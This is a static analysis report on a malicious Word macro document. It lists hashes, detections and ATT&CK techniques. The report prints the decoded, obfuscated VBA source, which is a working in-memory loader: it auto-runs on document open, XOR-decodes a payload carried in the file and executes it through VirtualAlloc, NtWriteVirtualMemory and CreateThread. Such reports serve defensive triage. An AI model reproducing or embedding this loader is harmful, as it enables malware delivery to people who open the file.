Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c676c06b964f2f8…

MALICIOUS

Office (OLE)

37.1 KB Created: 2017-08-03 08:16:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: f71fb4a3619567ddf5375313e5d03efb SHA-1: d4e341ed49b6edbf8618c79b61199d8da955a663 SHA-256: 2c676c06b964f2f85a060ffbd694129b05fe4f87a2e06c2ec07ee14ca8342c5b
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The macros utilize Windows API functions such as VirtualAlloc and CreateThread, indicating an attempt to allocate memory and execute code. This strongly suggests the document is designed to download and run a secondary payload, a common technique for malware delivery.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    wVTIIoRGAvaXnioXuhgh
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4761 bytes
SHA-256: 52798937945ccad86fca623bbb5d1b30e8ac49903b074d7a38521aa27dacd140
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function pvyPZPNCyrXcf Lib "kernel32" Alias "CreateThread" (ByVal OSARWbzYKqkijHWzzhKmMOLMdU As Long, ByVal gVPlaKUKHuNsTOBL As Long, ByVal ZlRvGc As LongPtr, UYShZhOObDtdVejyoWofLORx As Long, ByVal dHNSdcATar As Long, RNKAGZ As Long) As LongPtr
Private Declare PtrSafe Function vWWAaVYB Lib "kernel32" Alias "VirtualAlloc" (ByVal dkhyzgShdnuICGuOabmsdsqAdxMo As Long, ByVal LoXBOuCaQMsZkPwOcUJpKsmXLT As LongPtr, ByVal THubtEprZwgNlROjoTsTDUL As Long, ByVal DdYit As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal aQVJIs As LongPtr, ByVal LZuVxxrWhxxVjXd As LongPtr, ByVal ZiZVtxpFgYXwq As String, ByVal CjvNDUXYfwufwGAmkeWyVAJwcn As LongPtr, ByRef POyAUFpVoAvtjubcCBnbJe As LongPtr) As LongPtr
#Else
Private Declare Function pvyPZPNCyrXcf Lib "kernel32" Alias "CreateThread"  (ByVal OSARWbzYKqkijHWzzhKmMOLMdU As Long, ByVal gVPlaKUKHuNsTOBL As Long, ByVal ZlRvGc As Long, UYShZhOObDtdVejyoWofLORx As Long, ByVal dHNSdcATar As Long, RNKAGZ As Long) As Long
Private Declare Function vWWAaVYB Lib "kernel32" Alias "VirtualAlloc" (ByVal dkhyzgShdnuICGuOabmsdsqAdxMo As Long, ByVal LoXBOuCaQMsZkPwOcUJpKsmXLT As Long, ByVal THubtEprZwgNlROjoTsTDUL As Long, ByVal DdYit As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal aQVJIs As Long, ByVal LZuVxxrWhxxVjXd As Long, ByVal ZiZVtxpFgYXwq As String, ByVal CjvNDUXYfwufwGAmkeWyVAJwcn As Long, ByRef POyAUFpVoAvtjubcCBnbJe As Long) As Long
#End If

Const YXCGGIRbAJXKtRuIBUntolQ = &H1000
Const tiQziPBnoeh = &H40

Public Sub wVTIIoRGAvaXnioXuhgh()
    Dim cGGgPnOhtczybGGLluGvr() As Byte

    cGGgPnOhtczybGGLluGvr = mCHmiMAMqSAMJsYZ(ActiveDocument.FullName)
    Dim gUxwoPqVv As String
    gUxwoPqVv = StrConv(cGGgPnOhtczybGGLluGvr, 64)
    
    Dim tYupmBT
    tYupmBT = Split(gUxwoPqVv, "VOkqPDrGygoYLJwgnNPDbFTSevxXkCXgKVVGBhzyhKjBhkIayFjAktqpUsmtguwWjinPOQEforwqwsKTNxzEswVrEFLjVfsMomrYWSlHaemTWZTCHsFIVSDMn")

    Dim dygtA As String
    Dim COASAceHHMftirpNzlVvx As String
    Dim OsKinRLMYQyvIDYRaCmlvZnF As String
    COASAceHHMftirpNzlVvx = StrConv(StrConv(tYupmBT(UBound(tYupmBT)), 64), 128)
    OsKinRLMYQyvIDYRaCmlvZnF = Mid$(COASAceHHMftirpNzlVvx, 3, Len(COASAceHHMftirpNzlVvx))

    dygtA = uRrnw("kievkiYJcjaMXVlRDokbuFLiBCzJ", OsKinRLMYQyvIDYRaCmlvZnF)
    
    #If VBA7 Then
        Dim pnKkvlbIOUcYrfCgFMyMhpmyRsSK As LongPtr
        Dim KwpJytnjd As LongPtr
    #Else
        Dim pnKkvlbIOUcYrfCgFMyMhpmyRsSK As Long
        Dim KwpJytnjd As Long
    #End If

    pnKkvlbIOUcYrfCgFMyMhpmyRsSK = vWWAaVYB(0, Len(dygtA), YXCGGIRbAJXKtRuIBUntolQ, tiQziPBnoeh)
    KwpJytnjd = NtWriteVirtualMemory(-1, pnKkvlbIOUcYrfCgFMyMhpmyRsSK, dygtA, Len(dygtA), 0)
    KwpJytnjd = pvyPZPNCyrXcf(0, 0, pnKkvlbIOUcYrfCgFMyMhpmyRsSK, 0, 0, 0)
End Sub

Public Function mCHmiMAMqSAMJsYZ(ByVal yHvfdlryJAErSdMtYkLheMIEG As String) As Byte()
    Dim COASAceHHMftirpNzlVvx As Long
    Dim OsKinRLMYQyvIDYRaCmlvZnF() As Byte
    COASAceHHMftirpNzlVvx = FreeFile
    If LenB(Dir(yHvfdlryJAErSdMtYkLheMIEG)) Then
        Open yHvfdlryJAErSdMtYkLheMIEG For Binary Access Read As COASAceHHMftirpNzlVvx
        ReDim OsKinRLMYQyvIDYRaCmlvZnF(LOF(COASAceHHMftirpNzlVvx) - 1&) As Byte
        Get COASAceHHMftirpNzlVvx, , OsKinRLMYQyvIDYRaCmlvZnF
        Close COASAceHHMftirpNzlVvx
    Else
        Err.Raise 53
    End If
    mCHmiMAMqSAMJsYZ = OsKinRLMYQyvIDYRaCmlvZnF
    Erase OsKinRLMYQyvIDYRaCmlvZnF
End Function

Public Sub Document_Open()
    wVTIIoRGAvaXnioXuhgh
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function uRrnw(kkNZiisPnVVNoUMILPHlt As String, mtOeegSZu As String) As String
    Dim CiolVDPIHMZpAmZLo As Long
    Dim fCFkpbYtlddlXnBwlgGBNiZ As String
    Dim EGkWTCftRgTSUrSmmBsMFvPLNdaSf As Integer, kUMgGBmNyLxBbMnHXeBDiVYmVw As Integer, a As Long

    For CiolVDPIHMZpAmZLo = 1 To Len(mtOeegSZu)
        a = CiolVDPIHMZpAmZLo Mod Len(kkNZiisPnVVNoUMILPHlt)
        If a = 0 Then a = Len(kkNZiisPnVVNoUMILPHlt)
        
        EGkWTCftRgTSUrSmmBsMFvPLNdaSf = Asc(Mid$(mtOeegSZu, CiolVDPIHMZpAmZLo, 1))
        kUMgGBmNyLxBbMnHXeBDiVYmVw = Asc(Mid$(kkNZiisPnVVNoUMILPHlt, a, 1))
        fCFkpbYtlddlXnBwlgGBNiZ = fCFkpbYtlddlXnBwlgGBNiZ + Chr(EGkWTCftRgTSUrSmmBsMFvPLNdaSf Xor kUMgGBmNyLxBbMnHXeBDiVYmVw)
    Next CiolVDPIHMZpAmZLo
    
   uRrnw = fCFkpbYtlddlXnBwlgGBNiZ
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.